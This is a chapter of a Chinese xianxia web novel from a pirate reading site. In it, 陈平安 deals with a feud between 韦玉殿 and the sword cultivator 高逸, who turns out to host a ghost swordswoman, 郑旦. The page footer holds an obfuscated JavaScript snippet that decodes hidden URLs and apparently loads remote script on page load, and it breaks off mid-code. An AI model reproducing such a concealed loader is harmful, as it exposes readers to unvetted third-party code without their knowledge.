首页
第1223章 骄傲
返回
关灯 护眼:关 字号:小

第1223章 骄傲

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    剑气长城,曾是一个买酒比打水还容易的地方。
    如今闹哄哄的集市,犹如一页狗尾续貂的续写新书。
    可不管怎么说,有比无好。总好过一片死寂,单纯成为一个外乡人来此凭吊怀古之地。
    不像老聋儿那么顾虑重重,七弯八拐,谢狗察觉到陈平安当下的异样,她便直截了当问道:“山主,咋个受伤不轻,对方本事通天啊,需不需要我跟小陌帮忙找回场子?山主放心,我跟小陌,撇开剑术不谈,遮掩气机、更换容貌也是个中好手。我还有一手独门剑术,可斩因果,非是自夸,不比纯阳吕喦在天外抖搂的那一手逊色太多,保管教对方精通算卦推衍也顺藤摸瓜不得。”
    若是个仙人,她但凡需要递出两剑,就算她配不上与小陌结为道侣。
    一般的飞升境修士,她还是很有把握的,例如荆蒿之流,当真是纸糊一般。
    陈灵均的那本路人集,前边十几页,她早就偷偷翻过了。
    除非是龙虎山大天师,或是趴地峰火龙真人,这类比较棘手的十四境“合道候补”,所以她才不敢把话说死,需要喊上小陌一起,就很稳当了嘛。
    陈平安伸手绕后,轻轻拍了拍剑柄,说道:“刚刚跟人打了一架,算是险胜吧,代价不小,鞘内夜游都被砍断了。不用你们找回场子,已经清爽了结。”
    老聋儿还是懂一些人情世故的,只凭这番对话,便已心中了然。
    白景前辈真是不把自己当外人,年轻隐官也真是不把她当外人。
    谢狗竖起大拇指,“自古高才受天磨,能过关者攒道力。山主经此一役,修行必定势如破竹,畅通无阻,直奔飞升境而去!”
    老聋儿闻言便是道心一震,倒抽一口冷气。莫非那落魄山,是与避暑行宫一般无二的风气?
    自己生性耿直,可不擅长这套花言巧语,到了落魄山,岂不是要不合群,难道得在那边坐冷板凳?
    既然暂时找不到剑仙高逸的踪迹,韦玉殿壮起胆子跟上那一行人,近在咫尺,却听不见他们的对话内容。
    陈平安停下脚步,转身问道:“韦剑仙还有事?”
    韦玉殿赧颜道:“晚辈后学不敢自称剑修。”
    原来她的剑修身份比较尴尬,因为本命飞剑来历不正,飞剑蕴藉的本命神通更是鸡肋。
    陈平安说道:“我马上就要离开此地,劳烦韦道友有事说事。”
    韦玉殿赶紧解释道:“不敢隐瞒,我来此地,是为了避难,准确说来,是为了躲避青嵬派剑仙高逸的纠缠。”
    陈平安说道:“猜到了,不过这是你们双方家族、宗门的私人恩怨,好像跟我没关系吧?退一步说,根据避暑行宫的记载,距离上巳剑派最后一位剑修赶赴剑气长城杀妖历练,已经过去将近两百年了,至于其余两拨练气士,并非剑修,也无任何战功记录,总不可能是上代隐官萧愻故意遗漏你们上巳剑派的战功。”
    韦玉殿赧颜道:“我们上巳剑派当代掌门……”
    陈平安截下话头,说道:“知道,丁法仪,道号桐君,佩剑‘降真’,本命飞剑‘接神’,坐镇上巳剑派主山饭颗山。丁掌门擅长祝由科和梅花易数,尤其精通闻声起卦,流霞洲王朝乡野,多有奇谈流传。是远古觋之一脉传人,据说可以咒杀同境修士不见血,也可以救人无形中,故而被山上称为见鬼人,不敢轻易招惹。除了这些表面上的,其实还有一些内幕,我都清楚。我猜肯定是丁掌门帮你起了一卦,要你来此静待机缘,趋吉避凶?还是说早就算准了龙声道友会仗义出手?”
    老聋儿连连摆手,“道力不济,不敢揽事。”
    韦玉殿从袖中摸出一只锦囊,壮起胆子,红着脸递给那位久闻其名、心神往之年轻隐官,心中不断提醒自己加快语速,赶紧解释道:“此次下山远游,掌门总共给了我三只锦囊,一次让我在此挑选良辰吉日开店卖酒,风雷笺上边附有批命一语,‘遇龙则停,逢青则喜’。一次是让弟子王珂在某天夜游,王珂便得了双剑合璧的机缘,最后这只锦囊,掌门让我必须遇龙逢青再打开,但是反复叮嘱我不得观看文字内容,只需当面交给‘龙’、‘青’任何一位高人即可。”
    陈平安接过锦囊,取出小笺,看了一眼,就放回锦囊,递还给韦玉殿,神色明显和缓几分,说道:“你接下来就放心在这边做生意好了,以后我若是游历流霞洲,会去上巳剑派和汾州韦氏做客。至于韦道友何时能够返回流霞洲,以后等丁掌门书信通知。”
    谢狗以心声问道:“山主,咋回事?”
    陈平安无奈道:“上巳剑派的开山祖师华芙蓉,也就是韦玉殿的师尊,她第二次游历剑气长城,跟宁府关系很好,是常客。”
    谢狗恍然大悟,“早知道有这么一层关系,我不得把那啥剑仙什么掌门打出屎来啊。”
    陈平安问道:“冒昧问句,韦道友怎么就不是剑修了?”
    流霞洲的汾州上庙村韦氏,是源远流长的道教世家,是浩然天下六大宗坛之一。那座大名鼎鼎的太符观,就是韦玉殿的家庙,道观内的彩色悬塑,内有三百六十五尊值日神君,独树一帜,冠绝一洲。
    韦玉殿小心翼翼收入锦囊,如释重负,听到问话,她神色恭敬答道:“后学并非那种先天剑仙胚子,缘于家族有先祖早年出海,获得一位上古剑仙遗蜕和剑术传承,其中就有遗物是一把飞剑。代代相传,我因缘际会之下,年幼时得到了这把飞剑的主动认主,掠入一处本命窍穴自行温养,飞剑被那位先祖暂名为‘效颦’,我当年侥幸将其大炼之后,足足百余年光阴,至今只摸索出一种本命神通,就是模仿其他剑修的本命飞剑,却只能支撑一炷香光阴,时辰一到,就会立即恢复原样。故而遇弱则弱是真,遇强则强则未必。”
    谢狗咧嘴笑,这么好玩的本命飞剑,那位上古剑仙兵解之前,炼制起来,肯定干劲十足。
    陈平安想了想,问道:“关于这把来之不易的本命飞剑,丁掌门就没有给出卦语?”
    韦玉殿犹豫了一下,说道:“掌门每次算卦,都要折损道行,耗神极多,即便如此,掌门还是为我起了一卦,但是卦语比较笼统,只有一句‘一而再再而三’。掌门为人算卦,历来有一事不可二解的宗门祖训。”
    陈平安思量片刻,说道:“我有个建议,你让家族或是上巳剑派,帮你花大价钱也好,耗费人情也罢,都要帮你寻得一把飞剑,你尝试着以剑炼剑。”
    韦玉殿满脸不解神色,什么叫以剑炼剑,其中缘由又是什么?
    谢狗使劲点头,咱们山主这脑子真灵光,她加小陌都比不过哩。
    陈平安只得耐心解释道:“可能这把飞剑不该取名‘效颦’,改为类似‘鸠夺’的名称,更为合适。丁掌门所谓的‘三’,兴许是说这把飞剑可以鸠占鹊巢三把飞剑,有机会同时拥有三把飞剑的本命神通。这也能够解释为何那位枯坐海上闭关至死的上古剑仙,为何兵解离世之时,宁肯以大毅力、付出大心血将其剥离出来,也不愿将其与自身魂魄融合,为来世增添一份仙家道缘,就在于他对这把本命飞剑十分自负和看重,一旦被熔炼为虚无,哪怕他犹有来生可续仙缘,能够开窍记起前身,重新登山修道,但是世间就注定再无此特殊神异的飞剑了。”
    韦玉殿喜悦神色,溢于言表。
    她一时间不知该如何感谢这位年轻隐官。
    总不能是那种才子佳人小说中无比烂俗的以身相许吧。
    就算她肯如此,他也看不上自己啊。
    老聋儿轻轻点头,距离真相,差不离了。
    幽郁神色如常,心境无一丝波澜。
    当年是否剑修,如今境界高低,隐官大人都是隐官大人。
    陈平安提醒道:“有些山上事,既然非比寻常,那么得一缘法,就要受一劫。”
    韦玉殿赶忙稳住道心。
    陈平安说道:“至于是怎么个讨债法子,以何种方式出现在你面前,就看你与那人的宿缘了。比如……”
    等了一会儿,见年轻隐官没有开口说下去,韦玉殿只得问道:“比如?”
    见她依旧没有开窍,陈平安只好退而求其次,帮她解释道:“比如那位上古剑仙的转世今身,就是好像跟你处处事事纠缠不清的高逸。又比如不是高逸,而是别人,在你炼化额外第一把飞剑的时候,他可能就会走到你跟前,到时候你会怎么做?”
    韦玉殿心乱如麻。
    陈平安缓缓说道:“这种因果循环,讨债还债,躲避是没有用处的,无非是自作自受,不过是自解自消。不分山上山下,欠债还钱,化孽缘为善缘,就是修行,修在山中,行在山外。山上山下有路可走,就是道,性命人情合乎天理,就是法。合在一起,就是修行道法。”
    韦玉殿停下脚步,郑重其事稽首为礼,“铭记在心,谨遵教诲。”
    谢狗又开始询问一般供奉了,“龙声道友,听得懂么?”
    老聋儿本想说一句这么深入浅出的道理,有什么听不懂的,只是碍于“远古白景”的积威深重,老聋儿话到嘴边还是改口,“听不太懂,只觉得道理高明。”
    谢狗拍了拍老聋儿的肩膀,眼神怜悯道:“悟性差了点,难怪会跌境。”
    陈平安与问了些她与高逸的前因后果,大致有数了,便说道:“就此别过。”
    韦玉殿虽然很想多聊几句,但是他都已经下逐客令了,她只好告辞离去,突然想起一事,问道:“那个高逸?”
    陈平安笑道:“大概是被龙声前辈吓退了。”
    老聋儿倍感无奈。
    韦玉殿走到自家酒铺门口,她忍不住回望一眼。
    她没来由想起一句师尊经常临摹吟诵的诗,今交如暴流,倏忽生尘埃。古交如真金,百炼色不回。
    这位年轻隐官,确有古时游侠的风骨君子气。
    约莫还有小半炷香的闲余光阴,来到城墙根,陈平安看着那个快要散架的陆地剑仙,直到现在还没有半点清醒迹象,坐镇此地的那位文庙陪祀圣贤,也没有露面“劝架”的意思,就这么晾着一位年轻宗主。一个道龄不过两甲子的玉璞境,还是一位剑修,这么年轻就开宗立派,别说搁在流霞洲,就是放眼整个浩然天下,都是了不得的人物。
    谢狗好奇问道:“为何不喊来韦玉殿,与这位躺地上呼呼大睡的剑仙,来个鼓对鼓锣对锣,当面说清楚?”
    陈平安说道:“假设高逸真是韦玉殿的讨债之人。有我们在旁边,韦玉殿道心深处,难免有恃无恐,修道之士,人力未曾穷尽之时,不可以凭恃外力脱劫。此事于修道有碍。”
    老聋儿点头道:“是这个道理。”
    陈平安笑问道:“下这么重的手?”
    谢狗哈哈笑着,“我这是救他命呢。”
    老聋儿还是点头附和,白景前辈此言不虚。
    换成年轻时候的齐廷济,同样被他听见那番言语,估计这厮已经上路了。
    谢狗斜瞥一眼老聋儿,开始以次席供奉的身份对一般供奉发号施令了,“呲醒他。”
    在落魄山上,境界没用处,好不容易逮着个比她更晚进入落魄山的,而且还是个当惯了出气筒的妖族修士,不得薅他一薅?
    老聋儿脑子又没有缺根筋,岂能照办。
    陈平安说道:“把他喊醒,抓紧时间聊几句。我马上就要返回宝瓶洲。”
    老聋儿这才动手,蹲下身,伸手按住那厮的肩头,抖了几抖,让那位年轻剑仙的魂魄、筋骨、气机,悉数复归原位。
    见那高逸醒来,陈平安说道:“你跟韦玉殿的私人恩怨,我听了个大概,韦氏所在王朝,确实有不讲道义的地方,不该毁约,你单枪匹马来到这里,找到韦玉殿,想要连本带利讨还回去,没有任何问题。我对这种恩爱情仇,不感兴趣,谢狗她之所以对你动手,是因为你不该在这里说……荤话。”
    高逸背靠墙壁,仰头死死盯住那个位置居中的青衫男子,再以眼角余光打量着那个貂帽少女,冷笑道:“好手段,领教了,敢不敢报上名号。”
    谢狗还真就不惯着这种搞不清楚状况的二愣子了,一脚踢过去,鞋底板踩中年轻剑仙的额头,后脑勺一撞城头,导致对方再次晕厥过去。
    老聋儿只得再次蹲下身,将那位年轻剑仙弄醒。
    高逸再不敢撂狠话,只是低头,伸出手指擦拭嘴角的血迹。
    陈平安继续说道:“韦玉殿在这边开铺子卖酒的时候,你就别来打搅了,但是只要她返回浩然天下,你在海上守株待兔也好,在流霞洲寻仇讨债也罢,各凭本事,后果自负。”
    高逸双臂环胸,默不作声。
    像极了那种市井坊间的豪横少年,输人不输阵,即便被打得脑袋开片、满嘴是血开不了口了,还是要用眼神说话,你今天只要不打死我,我迟早有一天就弄死你。
    老聋儿揉了揉下巴,奇了怪哉,先前都被白景前辈一巴掌拍飞了,这小子怎么还是不知道轻重利害,这么大气性摆在脸上?
    那流霞洲最出名的大修士,不就是青宫山荆蒿和天隅洞天主人蜀南鸢,只此两位飞升境而已?一洲所谓山巅,也不高啊。
    比起北俱芦洲火龙真人,皑皑洲刘聚宝,是要差上一大截的。
    这小子既然不是荆蒿或是蜀南鸢的嫡传弟子,难道是私生子?
    陈平安说道:“你可以不服气,也可以口服心不服,都随你。我只是跟你阐述一个事实。”
    说完这句话,陈平安摇了摇头,自顾自笑道:“是时候找机会去一趟真武山了。”
    陈平安看了眼高逸,“在十万大山以北、旧海市蜃楼以南的这片地界,我说话,比文庙管用。”
    高逸听到这句话,欲言又止,最终还是没有说什么。
    陈平安转身离去。
    高逸呲牙咧嘴,站起身,伸手揉了揉肋部,疼得他皱起脸庞,那个看着身材纤细的貂帽少女,力道惊人,什么境界?!
    难道是一位驻颜有术、深藏不露的女子止境武夫?浩然天下,有这么一号人物吗?郑钱?那人是他?
    谢狗突然转头,抬起手,吓得高逸往后一靠,贴住墙壁。
    陈平安算了算时辰,说道:“你们各自忙去,回头我们在落魄山再聚。关于仙人境修行细节一事,我会跟你们好好请教一番。”
    谢狗满脸无所谓,仙人破境跻身飞升,简单得很,她只是疑惑道:“不太像山主的行事风格。”
    陈平安笑道:“师兄让我趁年轻说几句狂话,试过之后,发现不太适应,还是比较别扭,以后能免就免。”
    之后陈平安说道:“可能需要麻烦你盯着这家伙了,至少十天半个月。”
    谢狗心中了然,摩拳擦掌道:“山主怀疑他是蛮荒未曾启用的棋子?”
    流霞洲,如今口碑一般,很一般。总体上,比扶摇洲和金甲洲都要差很多,只比桐叶洲略好几分。
    陈平安点头道:“别忘了,高逸是剑修,不是来这里游山玩水、增长世面的一般练气士。剑气长城对浩然剑修而言,非同寻常,
    一名剑修,会在这里说出那样的话,只有两种可能,要么就是年纪轻轻,就又是宗主又是剑仙了,志得意满,不知天高地厚,再加上恨极了上巳剑派和韦家,觉得忍辱负重将近百年,大仇得报就在眼前,才会得意忘形,一时失态,脱口而出。”
    “要么就是高逸此人,对剑气长城早就不以为然,又有两种可能性,一是他有极好的秘密师承,与剑气长城不对付,例如高逸的传道人,早年曾经在剑气长城与谁问剑输了,吃过大亏,避暑行宫记载过这类剑修,为数不少。要么高逸就是蛮荒天下扶植起来的一颗棋子,当年用以流霞洲内讧。当然这两种可能性可以合在一起,就更合理了。”
    谢狗赞叹道:“山主目光如炬,见微知著哇!”
    陈平安看了眼谢狗,后者点点头。
    老聋儿以心声与弟子说道:“幽郁,到了落魄山,靠师父是靠不住了,你可能需要自食其力了。”
    幽郁奇怪问道:“师父为何有此说?”
    老聋儿苦着脸摇摇头,没有解释,为师与落魄山风气并不相契啊。
    高逸坐回地面,开始呼吸吐纳,调整气息。
    貂帽少女的一巴掌加一脚,让他体内气机翻江倒海,所幸没有伤到大道根本。
    在高逸那道家所谓玄关一窍的天宫内院,开有三花,高低依次悬在空中,可惜距离神气精混而为一的地步,尚有一大段距离,但是最高一朵金花中,竟然开辟出一处宛如实物的庭院,大门朝向东方,极远处,云海滔滔,水文起伏,矗立有一棵参天神木,树上盘踞有赤螭与青虬,正是高逸两把本命飞剑的大道显化,东海神木,扶摇之枝。
    而在金花庭院内,此刻好似中宵笼月的景象,当高逸分出一缕神识来到此地的庭院堂屋,本来倚立户外的某人,便消失不见,只闻人行而不见人形,门外响起一连串木屐踩地的细微声音。
    高逸这一粒心神芥子说道:“他就是陈……”
    天地间蓦然响起一阵春雷震动,反复回荡着“慎言”二字。
    高逸心神震动不已,终究还是没有说出口对方的名字。
    披发赤足的高逸走到门槛那边,说道:“隔着两座天地,你至于这么谨慎吗?何况你亲口说过,自己的身份,又不是见不得光,曾经有功于人间,故而文庙不会管束,酆都不来拘押,无非是失去了肉身,需要在我心神中开辟府邸,建设道场,维持一点真灵不灭。”
    见对方依旧没有见自己的意思,高逸继续问道:“你心心念念的那个柳姓书生,到底是谁?能够让你至今割舍不下?”
    刹那之间,高逸失去了全部知觉,就像被囚禁在一处光阴洄沍牢笼中,漆黑一片,唯有心念思绪尚且存在。
    高逸只得心中起一念,算是与她低头认错,顷刻间大放光明,这一粒心神恢复自由,他按照约定,不敢跨出门槛,进入门外那片被她化作禁地的天地,高逸盘腿而坐,自言自语道:“是你说此地还有几股残留剑术道脉,依旧盘桓不去,是我机缘所在,在此,才有机会返回流霞洲,帮你夺取那桩苦等千年的天大机缘,结果呢,我还没登上城头,就受此奇耻大辱,当年你我结契,才让你脱劫,都说主辱臣死,你就视而不见?”
    如今浩然人间,机缘四起,比起当年浩然与蛮荒两座天下接壤开通,生发异象更多。
    只说流霞洲,近期就出现了一座应运而显的上古残存洞天,不是玉璞境,休想参与争夺,地仙之流,敢趟浑水,打牙祭都不够。
    据说那青宫太保荆蒿此次远游别洲,就是为了暗中寻求强手臂助,才好稳压天隅洞天一头。
    堂堂一洲山上领袖,不惜自降身价,勾连别洲山巅修士,显然荆蒿对这座遗址是势在必得。
    一个清冷嗓音悠悠扬扬响起,“上古结契,大致分三种,我们不是主仆身份,你我只是平起平坐的主客之分,在我看来,你这副皮囊,就是一处蘧庐,我帮你从一个籍籍无名的皇族质子,在短短百年之前有此际遇,是你以前想都不敢想的机缘,若论住宿费用,我已经给够钱了,高逸,你不该得寸进尺,奢求更多了。”
    高逸双拳撑在膝盖上,眼神炙热,突然开始破口大骂,一口一个娼妇贱婢,迟早睡了你……
    对方却是老样子,无动于衷,将他的污言秽语大声咒骂视为村野蝉鸣而已。
    高逸说道:“你们这些得道之士,当真全无一丝七情六欲吗?如果说证道升仙,需要以此作为代价,长生不朽意义何在?”
    大概是这句话勾起了对方的说话欲望,门外凭空浮现出一位白裙缥缈的背剑女子,容貌极为冷艳,她是高逸年少时游历黄茅山时所遇……一头女鬼。
    满虚空中,丈六金身,呈天人相。
    所现之形,无瑕无垢,皆真金色。
    只知她姓郑,具体境界不明,但是剑术极高,高逸几次身陷险境甚至是死地,都是她暗中出手相助。
    高逸在修道之初,误认为她是一位地仙女鬼,等到他跻身了地仙,便猜测她有可能是一位传说中的玉璞境鬼仙,如今等到高逸自己就是玉璞境,便又猜她至少是仙人境,高逸不知将来自己跻身了仙人,她会不会还是比自己境界更高?
    她望向虚空处的某个方向,神色晦暗不明,道:“他们一行四人,其中两位剑仙与我同境。但是真要出手的话,我恐怕只能赢过那位年轻金丹剑修。”
    高逸后仰倒地,“不知为何,只是与他对视,就已经耗费我所有的精气神。这辈子就没遇到过这样的怪事。”
    她微笑道:“你这辈子?也才几年?”
    高逸默不作声。
    她倚在门口,背对着屋内高逸,“现在知道为何他要多管闲事,我又为何对他们避而不见了?”
    高逸说道:“你说你曾经在倒悬山止步……”
    她面露伤感神色,喃喃道:“过去的事休要再提。”
    等到三教祖师散道之后,各路神鬼奇异古仙,都如雨后春笋,纷纷破土而出。
    避劫成功,脱劫而出,伺机而动,终于要雨后天晴,重见天日了。
    隐匿于高逸心神中的郑姓女鬼剑仙,只是其中之一。
    她曾经与某位旧人有个约定,不需要什么誓言,只是君子之约。
    结果他失约了。
    不过准确说来,是她失约在先。
    原来他当年在倒悬山,双方道别之际,他确实就提醒过她,不要尝试合道,她确实忍耐了多年,终于还是按耐不住,自诩“信道不信邪”,结果就是合道失败,一次功亏一篑,就失去了肉身。
    大概这就是在劫难逃。天地改易,谓之大劫,在此劫中,人各有劫。
    高逸说道:“现在怎么说?”
    她幽幽叹息道:“你如果能够在此得到某条剑脉的认可,我就帮你争一争大道的一线生机,流霞洲荆蒿之流,尸位素餐,是该让位了。”
    高逸问道:“那你呢?”
    她说道:“等你攒够外功,白日拔宅飞升,再分道扬镳。”
    关于那座成道之基的洞天遗址,只要陈清流不出手,其实她胜算不小。
    只是这种事,没必要告知高逸,免得他目中无人,一味托大,反而坏事。
    就在此时。
    一剑瞬间斩开两座天地禁制。
    这道剑光,却是从外往内斩开,而是从内往外开门一般。
    从那道门内走出一位背剑青衫男子,自嘲道:“都不当隐官了,却要做着刑官的事。”
    陈平安终于明白为何礼圣要让自己来此了。
    算是帮助文庙提醒她几句,以后行事不要过界?
    白裙背剑女子微微皱眉。
    高逸惊骇万分,慌忙起身。
    陈平安身边,出现一位早就不知不觉隐匿在此的存在,是个身材修长、有倾城佳人,她的容貌竟是半点不输那位白裙女子。
    白景的恐怖天赋,不止在炼剑一道,是方方面面的……变态,不讲道理。按照老瞎子的说法,若非某种天妒,她早就可以合道。
    远古岁月里,十四境之下,剑修白景确实要比小陌更无敌。
    白景微笑道:“这位姑娘,有无道号,说来听听?”
    白裙女子神色冷漠,不置一词。
    陈平安解释道:“如果没有猜错的话,眼前这位前辈,她叫郑旦,并无道号。据传拜师学剑于越女,越女剑术,曾与斩龙之人齐名。郑旦学道心诚,得其精髓,深谙手战之道,长短兼备,内实精神,外布气候,剑气截云霓。”
    郑旦微微讶异,点头道:“陈先生谬赞了。”
    陈平安说道:“礼圣希望前辈今后行事不逾矩。”
    郑旦点头道:“礼圣在,规矩在。”
    陈平安也就不多说什么。反正已经帮忙把话捎到了。
    白景咧嘴道:“听口气,是说小夫子不在了就要造反?”
    郑旦微笑道:“前辈愿意怎么想是前辈的事。”
    若非只是一粒心神在此,并无形骸肉身,高逸估计就要汗流浃背了。
    陈平安调侃道:“高剑仙,紧张不紧张?”
    高逸黑着脸。
    一波未平一波又起。
    有人一步跨入此处禁地,依旧是如入无人之境,“郑旦,白帝城缺一位阍者,你有无兴趣?”
    郑旦与来者敛衽行礼,毫不犹豫道:“我愿随郑先生修行大道。”
    郑居中点头道:“等到流霞洲事毕,与高逸结清债务,你就去白帝城守门。”
    高逸心情复杂至极,只是再次望向那一袭青衫,姓陈的,你紧张不紧张啊?
    郑居中笑问道:“陈先生要不要去白帝城看看?不然等你以后路过中土神洲,白帝城已经关门大吉了,何日再开,作不得准。”
    陈平安摇摇头,“得回宝瓶洲了。”
    郑居中点头道:“那就后会有期。”
    临行之前,郑居中笑望向白景,“白景道友,只要你肯斩陌生,便可脱劫合道。”
    陈平安面无表情。
    白景咧嘴笑道:“在老瞎子那边闭关的时候,就想到了,只是这种合道之路,下乘了些,么的意思。”
    郑居中说道:“可惜了,本来既然命定道侣都可斩,人间何物何人不可斩,一路剑斩至人间悉数是断剑,斩得天下再无剑修,白景就有一线机会跻身十五境。”
    白景抿起嘴唇。
    郑居中笑道:“道路下乘?何必自欺。以貂帽少女容貌示人,本就是先斩自己心神,再斩心魔陌生,先十四,继而以剑斩剑、剑斩天下的合道之路,再求十五,为何事到临头,反而后悔了?”
    白景皱着脸,委屈万分,双手抱住后脑勺,再高高扬起头,望向远方,“此身原本不知愁呐。”
    最怕万一见温柔。见过了,就会舍不得。
    郑居中点头道:“如此白景,才是白景。不愧是登天一役,率先走入天门的女修。”
    陈平安闻言一愣,转头望向白景。
    第一个登天过门的女子?
    他还是第一次听说此事。
    以前只听说那场登天一役,是人间第一位道士开路登高,而第一位进入大门的男子修士,是同为远古天下十豪的那位剑道魁首。
    白景淡然道:“练剑修道第一天起,我就给自己立下誓言,要以非神的人身,在天看地。”
    郑居中笑着告辞离去。
    难怪朱敛在山上会与小陌说那句,你见过比谢狗更骄傲的姑娘吗?
    陈平安沉默片刻,以心声说道:“谢狗,小陌知道这些往事吗?”
    白景已经恢复常态,哈哈笑道:“知道啊,我跟他无话不说的。”
    陈平安憋了半天,忍不住骂道:“他妈的,小陌这个傻子。”
    白景埋怨道:“可不许这么说小陌啊。”
    陈平安无言以对,下一刻,已经重返宝瓶洲,身在玉宣国京城永嘉县。
    大概骄傲就是高高的城头,喜欢之人,就走在城头之上,脚下是骄傲。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP 